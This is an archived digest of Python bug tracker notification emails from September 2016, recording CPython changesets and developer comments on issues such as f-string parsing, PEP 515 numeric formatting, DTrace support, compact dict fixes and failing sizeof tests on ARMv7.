In-Reply-To: <1451340978.99.0.13064674256.issue25969@psf.upfronthosting.co.za>
Message-ID: <20160910013350.1874.72646.14FE21B9@psf.io>


Roundup Robot added the comment:

New changeset 8344cf7eebf8 by Gregory P. Smith in branch '2.7':
Issue #25969: Update the lib2to3 grammar to handle the unpacking
https://hg.python.org/cpython/rev/8344cf7eebf8

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25969>
_______________________________________

From report at bugs.python.org  Fri Sep  9 21:34:28 2016
From: report at bugs.python.org (Gregory P. Smith)
Date: Sat, 10 Sep 2016 01:34:28 +0000
Subject: [issue25969] Update lib2to3 grammar to include missing unpacking
 generalizations.
In-Reply-To: <1451340978.99.0.13064674256.issue25969@psf.upfronthosting.co.za>
Message-ID: <1473471268.72.0.692904464825.issue25969@psf.upfronthosting.co.za>


Changes by Gregory P. Smith <greg at krypto.org>:


----------
resolution:  -> fixed
stage: needs patch -> commit review
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25969>
_______________________________________

From report at bugs.python.org  Fri Sep  9 21:36:42 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 10 Sep 2016 01:36:42 +0000
Subject: [issue28046] Remove the concept of platform-specific directories
In-Reply-To: <1473443913.59.0.936788039942.issue28046@psf.upfronthosting.co.za>
Message-ID: <20160910013638.8758.23026.6E03CFD1@psf.io>


Roundup Robot added the comment:

New changeset 2bfe63a3eb5c by Zachary Ware in branch 'default':
Issue #28046: Fix distutils
https://hg.python.org/cpython/rev/2bfe63a3eb5c

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28046>
_______________________________________

From report at bugs.python.org  Fri Sep  9 21:41:39 2016
From: report at bugs.python.org (INADA Naoki)
Date: Sat, 10 Sep 2016 01:41:39 +0000
Subject: [issue28040] compact dict : SystemError: returned NULL without
 setting an error.
In-Reply-To: <1473407848.54.0.959550177057.issue28040@psf.upfronthosting.co.za>
Message-ID: <1473471699.36.0.713091650882.issue28040@psf.upfronthosting.co.za>


Changes by INADA Naoki <songofacandy at gmail.com>:


Added file: http://bugs.python.org/file44519/fix-splittable-pop.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28040>
_______________________________________

From report at bugs.python.org  Fri Sep  9 21:42:11 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 10 Sep 2016 01:42:11 +0000
Subject: [issue27566] Tools/freeze/winmakemakefile.py clean target should use
 'del' instead of 'rm'
In-Reply-To: <1468871439.96.0.540268707664.issue27566@psf.upfronthosting.co.za>
Message-ID: <20160910014208.69625.15621.83B4216E@psf.io>


Roundup Robot added the comment:

New changeset e96eb2bd0d5e by Steve Dower in branch '2.7':
Issue #27566: Fix clean target in freeze makefile (patch by Lisa Roach)
https://hg.python.org/cpython/rev/e96eb2bd0d5e

New changeset 3ffff303df95 by Steve Dower in branch '3.5':
Issue #27566: Fix clean target in freeze makefile (patch by Lisa Roach)
https://hg.python.org/cpython/rev/3ffff303df95

New changeset 6a2d95630a7c by Steve Dower in branch 'default':
Issue #27566: Fix clean target in freeze makefile (patch by Lisa Roach)
https://hg.python.org/cpython/rev/6a2d95630a7c

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27566>
_______________________________________

From report at bugs.python.org  Fri Sep  9 21:42:47 2016
From: report at bugs.python.org (Steve Dower)
Date: Sat, 10 Sep 2016 01:42:47 +0000
Subject: [issue27566] Tools/freeze/winmakemakefile.py clean target should use
 'del' instead of 'rm'
In-Reply-To: <1468871439.96.0.540268707664.issue27566@psf.upfronthosting.co.za>
Message-ID: <1473471767.49.0.00131868811141.issue27566@psf.upfronthosting.co.za>


Steve Dower added the comment:

Committed the patch as-is. I suspect make will have a way to suppress UI anyway, but if not then we can do another patch!

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27566>
_______________________________________

From report at bugs.python.org  Fri Sep  9 21:42:47 2016
From: report at bugs.python.org (INADA Naoki)
Date: Sat, 10 Sep 2016 01:42:47 +0000
Subject: [issue28040] compact dict : SystemError: returned NULL without
 setting an error.
In-Reply-To: <1473407848.54.0.959550177057.issue28040@psf.upfronthosting.co.za>
Message-ID: <1473471767.88.0.0453105728411.issue28040@psf.upfronthosting.co.za>


INADA Naoki added the comment:

Added test which reproduce the issue on current master.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28040>
_______________________________________

From report at bugs.python.org  Fri Sep  9 21:44:03 2016
From: report at bugs.python.org (Steve Dower)
Date: Sat, 10 Sep 2016 01:44:03 +0000
Subject: [issue27564] 2.7.12 Windows Installer package broken.
In-Reply-To: <1468855746.01.0.612957751077.issue27564@psf.upfronthosting.co.za>
Message-ID: <1473471843.43.0.856038046851.issue27564@psf.upfronthosting.co.za>


Steve Dower added the comment:

The fix for issue27888 will prevent this from happening again.

----------
assignee:  -> steve.dower
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27564>
_______________________________________

From report at bugs.python.org  Fri Sep  9 21:44:14 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Sat, 10 Sep 2016 01:44:14 +0000
Subject: [issue28027] Remove Lib/plat-*/* files
In-Reply-To: <1473469186.03.0.155976623269.issue28027@psf.upfronthosting.co.za>
Message-ID: <CAP7+vJKU1rpkCPQOn+dB1V_YFsOVxV7kTBQs_aC4mEakGusunA@mail.gmail.com>


Guido van Rossum added the comment:

The modules should remain deleted for 3.6b1 so we can see if there are
actually any complaints -- if we get any we can consider restoring
them for b2. I fail to be convinced by the arguments against deletion
brought up so far -- the "evidence" produced is way too thin to
matter.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28027>
_______________________________________

From report at bugs.python.org  Fri Sep  9 21:51:25 2016
From: report at bugs.python.org (Steve Dower)
Date: Sat, 10 Sep 2016 01:51:25 +0000
Subject: [issue27520] Issue when building PGO
In-Reply-To: <1468596421.99.0.279689022473.issue27520@psf.upfronthosting.co.za>
Message-ID: <1473472285.71.0.555673121277.issue27520@psf.upfronthosting.co.za>


Steve Dower added the comment:

Need more info, but I believe this is expected. Our --pgo suite does not cover all code, and some projects explicitly do not create a pgd. We also only support 64-bit PGO builds.

If this is actually causing compilation errors, please reopen with logs and attach them here so we don't suffer from 404s. Otherwise, the fact that it works on my build machine (that is, the official one) means I'm not going to try and guess what needs fixing.

----------
resolution:  -> works for me
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27520>
_______________________________________

From report at bugs.python.org  Fri Sep  9 21:53:08 2016
From: report at bugs.python.org (Steve Dower)
Date: Sat, 10 Sep 2016 01:53:08 +0000
Subject: [issue27516] Wrong initialization of python path with embeddable
 distribution
In-Reply-To: <1468536614.57.0.563747018021.issue27516@psf.upfronthosting.co.za>
Message-ID: <1473472388.61.0.465537644905.issue27516@psf.upfronthosting.co.za>


Steve Dower added the comment:

This has changed for 3.6 and won't be changing again for 3.5. See https://docs.python.org/3.6/using/windows.html#finding-modules for info on the new support.

----------
resolution:  -> out of date
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27516>
_______________________________________

From report at bugs.python.org  Fri Sep  9 21:56:26 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 10 Sep 2016 01:56:26 +0000
Subject: [issue27948] f-strings: allow backslashes only in the string parts,
 not in the expression parts
In-Reply-To: <1472909045.16.0.0196162777566.issue27948@psf.upfronthosting.co.za>
Message-ID: <20160910015623.20970.83902.B84E066C@psf.io>


Roundup Robot added the comment:

New changeset b3ac1e154cdd by Eric V. Smith in branch 'default':
Issue 27948: Allow backslashes in the literal string portion of f-strings, but not in the expressions. Also, require expressions to begin and end with literal curly braces.
https://hg.python.org/cpython/rev/b3ac1e154cdd

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27948>
_______________________________________

From report at bugs.python.org  Fri Sep  9 21:59:14 2016
From: report at bugs.python.org (Eric V. Smith)
Date: Sat, 10 Sep 2016 01:59:14 +0000
Subject: [issue27948] f-strings: allow backslashes only in the string parts,
 not in the expression parts
In-Reply-To: <1472909045.16.0.0196162777566.issue27948@psf.upfronthosting.co.za>
Message-ID: <1473472754.25.0.125482892998.issue27948@psf.upfronthosting.co.za>


Eric V. Smith added the comment:

I've fixed the code and fixed/added tests. I still need to update the docs and PEP 498. I'll create a separate issue for the docs, once I'm done with the PEP.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27948>
_______________________________________

From report at bugs.python.org  Fri Sep  9 22:01:22 2016
From: report at bugs.python.org (Steve Dower)
Date: Sat, 10 Sep 2016 02:01:22 +0000
Subject: [issue27357] Enhancing the Windows installer
In-Reply-To: <1466438028.41.0.887417379593.issue27357@psf.upfronthosting.co.za>
Message-ID: <1473472882.63.0.0964231029601.issue27357@psf.upfronthosting.co.za>


Steve Dower added the comment:

FWIW, the one thing that might be implemented here is disabling the "for all users" checkbox when the option to install the launcher is disabled. But I think it's fairly clear what's implied there (that is to say, the checkbox not being disabled doesn't increase the confusion significantly :) )

The other checkboxes are in different contexts, and so deserve different text.

We don't install any desktop shortcuts, so there's no reason to split that checkbox.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27357>
_______________________________________

From report at bugs.python.org  Fri Sep  9 22:13:31 2016
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Sat, 10 Sep 2016 02:13:31 +0000
Subject: [issue13405] Add DTrace probes
In-Reply-To: <1321299726.66.0.343368151185.issue13405@psf.upfronthosting.co.za>
Message-ID: <1473473611.76.0.944889607531.issue13405@psf.upfronthosting.co.za>


Changes by ?ukasz Langa <lukasz at langa.pl>:


----------
resolution:  -> out of date
status: open -> closed
superseder:  -> Systemtap and DTrace support

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue13405>
_______________________________________

From report at bugs.python.org  Fri Sep  9 22:15:33 2016
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Sat, 10 Sep 2016 02:15:33 +0000
Subject: [issue14776] Add SystemTap static markers
In-Reply-To: <1336683916.13.0.827403167525.issue14776@psf.upfronthosting.co.za>
Message-ID: <1473473733.81.0.882449916702.issue14776@psf.upfronthosting.co.za>


Changes by ?ukasz Langa <lukasz at langa.pl>:


----------
resolution:  -> out of date
status: open -> closed
superseder:  -> Systemtap and DTrace support
versions: +Python 3.6 -Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue14776>
_______________________________________

From report at bugs.python.org  Fri Sep  9 22:22:18 2016
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Sat, 10 Sep 2016 02:22:18 +0000
Subject: [issue21590] Systemtap and DTrace support
In-Reply-To: <1401195995.8.0.935339035852.issue21590@psf.upfronthosting.co.za>
Message-ID: <1473474138.6.0.439139998723.issue21590@psf.upfronthosting.co.za>


?ukasz Langa added the comment:

Landed during the 3.6 beta1 sprint:
https://hg.python.org/cpython/rev/d622dbd71f2b

Thanks all for the preliminary tasks! I rebuilt the patch from first principles, reusing large parts of Jes?s' work, as well as work by Dave and Nikhil.

Things deliberately left out for simplicity:
- ustack helpers, I have no way of testing them at this point since
they are Solaris-specific, don't work on macOS or Linux
- PyFrameObject * in function__entry/function__return, this is
SystemTap-specific and won't compile with DTrace
- SPARC support
- dynamic tracing
- sys module dtrace facility introspection (as described in the documentation, there's facilities in both Linux and macOS to do the same thing)

All of those might be added later.

I also left out instance new/delete probes for now since I had problems making them stable. We might still be able to squeeze them in if we're quick about it.

Dave, if you have an idea how to integrate your FrameObject pointer in a way that compiles for DTrace, too, this is the time to speak up :)

Jes?s, if you'd like to add the ustack helper back in a separate patch and add to the documentation how this can be tested, that's great, too. I just didn't feel comfortable committing code myself that I have no way of testing, especially that it required more code (the offsets, including the generated .h here and there, etc.).

----------
assignee:  -> lukasz.langa
nosy: +lukasz.langa
versions: +Python 3.6 -Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21590>
_______________________________________

From report at bugs.python.org  Fri Sep  9 22:27:22 2016
From: report at bugs.python.org (Brett Cannon)
Date: Sat, 10 Sep 2016 02:27:22 +0000
Subject: [issue27593] Deprecate sys._mercurial and create sys._git
In-Reply-To: <1469223805.51.0.614192375682.issue27593@psf.upfronthosting.co.za>
Message-ID: <1473474442.45.0.0571513663311.issue27593@psf.upfronthosting.co.za>


Brett Cannon added the comment:

https://github.com/python/cpython/blob/master/Modules/getbuildinfo.c will need to be updated on top of configure.ac and Makefile.pre.in.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27593>
_______________________________________

From report at bugs.python.org  Fri Sep  9 22:28:00 2016
From: report at bugs.python.org (Eric V. Smith)
Date: Sat, 10 Sep 2016 02:28:00 +0000
Subject: [issue27080] Implement the formatting part of PEP 515,
 '_' in numeric literals.
In-Reply-To: <1463863089.86.0.119019547094.issue27080@psf.upfronthosting.co.za>
Message-ID: <1473474480.64.0.943166559845.issue27080@psf.upfronthosting.co.za>


Eric V. Smith added the comment:

I just noticed that the patch doesn't handle 'X' (uppercase) correctly, while it does handle 'x' (lowercase). I'll fix that when I commit.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27080>
_______________________________________

From report at bugs.python.org  Fri Sep  9 22:50:52 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 10 Sep 2016 02:50:52 +0000
Subject: [issue27199] TarFile expose copyfileobj bufsize to improve throughput
In-Reply-To: <1464980137.78.0.803567676795.issue27199@psf.upfronthosting.co.za>
Message-ID: <20160910025048.20970.23663.EADCBC0D@psf.io>


Roundup Robot added the comment:

New changeset 0bac85e355b5 by ?ukasz Langa in branch 'default':
Issue #27199: TarFile expose copyfileobj bufsize to improve throughput
https://hg.python.org/cpython/rev/0bac85e355b5

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27199>
_______________________________________

From report at bugs.python.org  Fri Sep  9 22:51:11 2016
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Sat, 10 Sep 2016 02:51:11 +0000
Subject: [issue27199] TarFile expose copyfileobj bufsize to improve throughput
In-Reply-To: <1464980137.78.0.803567676795.issue27199@psf.upfronthosting.co.za>
Message-ID: <1473475871.27.0.701994638492.issue27199@psf.upfronthosting.co.za>


?ukasz Langa added the comment:

Thanks for the patch!

----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27199>
_______________________________________

From report at bugs.python.org  Fri Sep  9 23:03:03 2016
From: report at bugs.python.org (INADA Naoki)
Date: Sat, 10 Sep 2016 03:03:03 +0000
Subject: [issue28042] Coverity Scan defects in new dict code
In-Reply-To: <1473419470.64.0.526476875615.issue28042@psf.upfronthosting.co.za>
Message-ID: <1473476583.43.0.643760861396.issue28042@psf.upfronthosting.co.za>


INADA Naoki added the comment:

> Inada, I sent you an invite.

Does the invite sent me by email?
I'm sorry, but I may lost the mail.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28042>
_______________________________________

From report at bugs.python.org  Fri Sep  9 23:07:00 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 10 Sep 2016 03:07:00 +0000
Subject: [issue27080] Implement the formatting part of PEP 515,
 '_' in numeric literals.
In-Reply-To: <1463863089.86.0.119019547094.issue27080@psf.upfronthosting.co.za>
Message-ID: <20160910030658.59475.26091.8BA28A1F@psf.io>


Roundup Robot added the comment:

New changeset 99abb731ea7a by Eric V. Smith in branch 'default':
Issue 27080: PEP 515: add '_' formatting option.
https://hg.python.org/cpython/rev/99abb731ea7a

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27080>
_______________________________________

From report at bugs.python.org  Fri Sep  9 23:08:14 2016
From: report at bugs.python.org (Eric V. Smith)
Date: Sat, 10 Sep 2016 03:08:14 +0000
Subject: [issue27080] Implement the formatting part of PEP 515,
 '_' in numeric literals.
In-Reply-To: <1463863089.86.0.119019547094.issue27080@psf.upfronthosting.co.za>
Message-ID: <1473476894.38.0.0982482512893.issue27080@psf.upfronthosting.co.za>


Eric V. Smith added the comment:

I also fixed the code so both '_' and ',' can't be specified, and added tests. The documentation is also updated.

----------
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27080>
_______________________________________

From report at bugs.python.org  Fri Sep  9 23:08:34 2016
From: report at bugs.python.org (Eric V. Smith)
Date: Sat, 10 Sep 2016 03:08:34 +0000
Subject: [issue26331] PEP 515: Tokenizer: allow underscores for grouping in
 numeric literals
In-Reply-To: <1455126624.48.0.163167904941.issue26331@psf.upfronthosting.co.za>
Message-ID: <1473476914.73.0.823537177559.issue26331@psf.upfronthosting.co.za>


Eric V. Smith added the comment:

I'm done with the formatting (issue 27080), so PEP 515 can be marked as final.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26331>
_______________________________________

From report at bugs.python.org  Fri Sep  9 23:10:52 2016
From: report at bugs.python.org (R. David Murray)
Date: Sat, 10 Sep 2016 03:10:52 +0000
Subject: [issue25235] EmailMessage.add_attachment() creates parts with
 spurious MIME-Version header.
In-Reply-To: <1443210448.87.0.407287169878.issue25235@psf.upfronthosting.co.za>
Message-ID: <1473477052.35.0.602495347682.issue25235@psf.upfronthosting.co.za>


R. David Murray added the comment:

Attached is my proposal (absent the doc changes).  I'm not happy with it, though, because it means that you don't have the MIME-Version header until you do bytes(msg) (or otherwise generate it), *and* you get a MIME-Version header if you do str(part) for a subpart.  That makes debugging significantly confusing, but only with respect to whether or not you have a MIME-Version header.

I'm inclined to commit it, since this whole thing applies *only* to fully constructed messages, rather than parsed-and-manipulated messages.  I don't like it, but I haven't come up with a better solution so far.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25235>
_______________________________________

From report at bugs.python.org  Fri Sep  9 23:11:19 2016
From: report at bugs.python.org (R. David Murray)
Date: Sat, 10 Sep 2016 03:11:19 +0000
Subject: [issue25235] EmailMessage.add_attachment() creates parts with
 spurious MIME-Version header.
In-Reply-To: <1443210448.87.0.407287169878.issue25235@psf.upfronthosting.co.za>
Message-ID: <1473477079.66.0.499824831653.issue25235@psf.upfronthosting.co.za>


Changes by R. David Murray <rdmurray at bitdance.com>:


Added file: http://bugs.python.org/file44520/fix_mime_version_headers.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25235>
_______________________________________

From report at bugs.python.org  Fri Sep  9 23:12:19 2016
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Sat, 10 Sep 2016 03:12:19 +0000
Subject: [issue2651] Strings passed to KeyError do not round trip
In-Reply-To: <1208453081.65.0.886847251895.issue2651@psf.upfronthosting.co.za>
Message-ID: <1473477139.88.0.53675443366.issue2651@psf.upfronthosting.co.za>


?ukasz Langa added the comment:

So actually the issue long predates Python 2.5...

https://hg.python.org/cpython/rev/0401a0ead1eb

Now I'm not so sure it's worth touching it anymore ;)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue2651>
_______________________________________

From report at bugs.python.org  Fri Sep  9 23:22:42 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 10 Sep 2016 03:22:42 +0000
Subject: [issue28040] compact dict : SystemError: returned NULL without
 setting an error.
In-Reply-To: <1473407848.54.0.959550177057.issue28040@psf.upfronthosting.co.za>
Message-ID: <20160910032239.69908.95909.47D89D2E@psf.io>


Roundup Robot added the comment:

New changeset 4a5b61b0d090 by Victor Stinner in branch 'default':
Fix SystemError in compact dict
https://hg.python.org/cpython/rev/4a5b61b0d090

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28040>
_______________________________________

From report at bugs.python.org  Fri Sep  9 23:22:42 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 10 Sep 2016 03:22:42 +0000
Subject: [issue27810] Add METH_FASTCALL: new calling convention for C functions
In-Reply-To: <1471653166.26.0.257085519078.issue27810@psf.upfronthosting.co.za>
Message-ID: <20160910032239.69908.39206.94C4EC64@psf.io>


Roundup Robot added the comment:

New changeset 86b0f5a900c7 by Victor Stinner in branch 'default':
Add METH_FASTCALL calling convention
https://hg.python.org/cpython/rev/86b0f5a900c7

New changeset 633f850038c3 by Victor Stinner in branch 'default':
Emit METH_FASTCALL code in Argument Clinic
https://hg.python.org/cpython/rev/633f850038c3

New changeset 97a68adbe826 by Victor Stinner in branch 'default':
Issue #27810: Rerun Argument Clinic on all modules
https://hg.python.org/cpython/rev/97a68adbe826

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27810>
_______________________________________

From report at bugs.python.org  Fri Sep  9 23:28:45 2016
From: report at bugs.python.org (Martin Panter)
Date: Sat, 10 Sep 2016 03:28:45 +0000
Subject: [issue27952] Finish converting fixcid.py from regex to re
In-Reply-To: <1472969793.48.0.218337698391.issue27952@psf.upfronthosting.co.za>
Message-ID: <1473478125.8.0.979588601017.issue27952@psf.upfronthosting.co.za>


Martin Panter added the comment:

New patch with more fixes and test cases. Also dropped some of the less useful raw string changes.

----------
Added file: http://bugs.python.org/file44521/fixcid-re.v2.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27952>
_______________________________________

From report at bugs.python.org  Fri Sep  9 23:30:12 2016
From: report at bugs.python.org (Eric V. Smith)
Date: Sat, 10 Sep 2016 03:30:12 +0000
Subject: [issue24454] Improve the usability of the match object named group API
In-Reply-To: <1434340072.54.0.23336337946.issue24454@psf.upfronthosting.co.za>
Message-ID: <1473478212.19.0.41073974928.issue24454@psf.upfronthosting.co.za>


Eric V. Smith added the comment:

Updated patch, with docs. I'd like to get this in to 3.6. Can anyone take a look?

----------
Added file: http://bugs.python.org/file44522/issue-24454-1.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24454>
_______________________________________

From report at bugs.python.org  Fri Sep  9 23:36:04 2016
From: report at bugs.python.org (STINNER Victor)
Date: Sat, 10 Sep 2016 03:36:04 +0000
Subject: [issue28040] compact dict : SystemError: returned NULL without
 setting an error.
In-Reply-To: <1473407848.54.0.959550177057.issue28040@psf.upfronthosting.co.za>
Message-ID: <1473478564.12.0.466043283526.issue28040@psf.upfronthosting.co.za>


STINNER Victor added the comment:

> Added test which reproduce the issue on current master.

Oh, great :-) Thanks for the quick fix AND test.

I pushed your latest change.

----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28040>
_______________________________________

From report at bugs.python.org  Fri Sep  9 23:36:41 2016
From: report at bugs.python.org (STINNER Victor)
Date: Sat, 10 Sep 2016 03:36:41 +0000
Subject: [issue27830] Add _PyObject_FastCallKeywords(): avoid the creation of
 a temporary dictionary for keyword arguments
In-Reply-To: <1471905864.17.0.99232719056.issue27830@psf.upfronthosting.co.za>
Message-ID: <1473478601.96.0.603498296267.issue27830@psf.upfronthosting.co.za>


Changes by STINNER Victor <victor.stinner at gmail.com>:


----------
dependencies:  -Rework CALL_FUNCTION* opcodes
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27830>
_______________________________________

From report at bugs.python.org  Fri Sep  9 23:44:59 2016
From: report at bugs.python.org (Martin Panter)
Date: Sat, 10 Sep 2016 03:44:59 +0000
Subject: [issue28039] x86 Tiger buildbot needs __future__ with_statement
In-Reply-To: <1473407641.18.0.0923940651973.issue28039@psf.upfronthosting.co.za>
Message-ID: <1473479099.26.0.666601264438.issue28039@psf.upfronthosting.co.za>


Martin Panter added the comment:

Okay happy to close this then

----------
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28039>
_______________________________________

From report at bugs.python.org  Fri Sep  9 23:57:26 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 10 Sep 2016 03:57:26 +0000
Subject: [issue27810] Add METH_FASTCALL: new calling convention for C functions
In-Reply-To: <1471653166.26.0.257085519078.issue27810@psf.upfronthosting.co.za>
Message-ID: <20160910035723.2286.51770.61A8F55F@psf.io>


Roundup Robot added the comment:

New changeset 3934e070c9db by Victor Stinner in branch 'default':
Issue #27810: Fix getargs.c compilation on Windows
https://hg.python.org/cpython/rev/3934e070c9db

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27810>
_______________________________________

From report at bugs.python.org  Sat Sep 10 00:09:46 2016
From: report at bugs.python.org (Terry J. Reedy)
Date: Sat, 10 Sep 2016 04:09:46 +0000
Subject: [issue27705] Updating old C:/Windows/System32/ucrtbased.dll
In-Reply-To: <1470603749.52.0.375133152623.issue27705@psf.upfronthosting.co.za>
Message-ID: <1473480586.85.0.426744916447.issue27705@psf.upfronthosting.co.za>


Terry J. Reedy added the comment:

Thanks, looks good to me.

----------
resolution:  -> fixed
stage: needs patch -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27705>
_______________________________________

From report at bugs.python.org  Sat Sep 10 00:25:15 2016
From: report at bugs.python.org (STINNER Victor)
Date: Sat, 10 Sep 2016 04:25:15 +0000
Subject: [issue28056] sizeof unit tests fail on ARMv7
Message-ID: <1473481514.98.0.178433606231.issue28056@psf.upfronthosting.co.za>


New submission from STINNER Victor:

Hum, I used "+ 8" to add the new 64-bit version tag of dictionaries. But I didn't use struct.calcsize() to compute it, so there is maybe an aliasing/padding issue.

http://buildbot.python.org/all/builders/ARMv7%20Ubuntu%203.x/builds/4815/steps/test/logs/stdio

======================================================================
FAIL: test_objecttypes (test.test_sys.SizeofTest)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/ssd/buildbot/buildarea/3.x.gps-ubuntu-exynos5-armv7l/build/Lib/test/test_sys.py", line 940, in test_objecttypes
    check({}, size('n2P') + 8 + calcsize('2nP2n') + 8 + (8*2//3)*calcsize('n2P'))
  File "/ssd/buildbot/buildarea/3.x.gps-ubuntu-exynos5-armv7l/build/Lib/test/support/__init__.py", line 1510, in check_sizeof
    test.assertEqual(result, size, msg)
AssertionError: 144 != 140 : wrong size for <class 'dict'>: got 144, expected 140

======================================================================
FAIL: test_sizeof_exact (test.test_ordered_dict.CPythonOrderedDictSubclassTests)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/ssd/buildbot/buildarea/3.x.gps-ubuntu-exynos5-armv7l/build/Lib/test/test_ordered_dict.py", line 677, in test_sizeof_exact
    check(od, basicsize + 8*p + 8 + 5*entrysize)  # 8byte indicies + 8*2//3 * entry table
  File "/ssd/buildbot/buildarea/3.x.gps-ubuntu-exynos5-armv7l/build/Lib/test/support/__init__.py", line 1510, in check_sizeof
    test.assertEqual(result, size, msg)
AssertionError: 208 != 204 : wrong size for <class 'test.test_ordered_dict.CPythonOrderedDictSubclassTests.OrderedDict'>: got 208, expected 204

======================================================================
FAIL: test_sizeof_exact (test.test_ordered_dict.CPythonOrderedDictTests)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/ssd/buildbot/buildarea/3.x.gps-ubuntu-exynos5-armv7l/build/Lib/test/test_ordered_dict.py", line 677, in test_sizeof_exact
    check(od, basicsize + 8*p + 8 + 5*entrysize)  # 8byte indicies + 8*2//3 * entry table
  File "/ssd/buildbot/buildarea/3.x.gps-ubuntu-exynos5-armv7l/build/Lib/test/support/__init__.py", line 1510, in check_sizeof
    test.assertEqual(result, size, msg)
AssertionError: 208 != 204 : wrong size for <class 'collections.OrderedDict'>: got 208, expected 204

----------
messages: 275562
nosy: haypo
priority: normal
severity: normal
status: open
title: sizeof unit tests fail on ARMv7
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28056>
_______________________________________

From report at bugs.python.org  Sat Sep 10 00:25:34 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 10 Sep 2016 04:25:34 +0000
Subject: [issue20476] If new email policies are used,
 default message factory should be EmailMessage
In-Reply-To: <1391292485.67.0.381493162498.issue20476@psf.upfronthosting.co.za>
Message-ID: <20160910042531.36243.41514.66E43FC9@psf.io>


Roundup Robot added the comment:

New changeset 8375b8d54bf7 by R David Murray in branch 'default':
#20476: Deal with the message_factory circular import differently.
https://hg.python.org/cpython/rev/8375b8d54bf7

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20476>
_______________________________________

From report at bugs.python.org  Sat Sep 10 00:32:45 2016
From: report at bugs.python.org (Terry J. Reedy)
Date: Sat, 10 Sep 2016 04:32:45 +0000
Subject: [issue28057] Warnings (45) building Doc/library/email.*.rst
Message-ID: <1473481965.13.0.517391626967.issue28057@psf.upfronthosting.co.za>


New submission from Terry J. Reedy:

Sphinx v1.3.6
F:\Python\dev\36\Doc\library\email.compat32-message.rst:54: WARNING: duplicate object description of email.message.Message, other instance in F:\Python\dev\36\Doc\library\email.message.rst, use :noindex: for one of them

+ 44 more

----------
assignee: docs at python
components: Documentation, email
messages: 275564
nosy: barry, docs at python, r.david.murray, terry.reedy
priority: normal
severity: normal
stage: needs patch
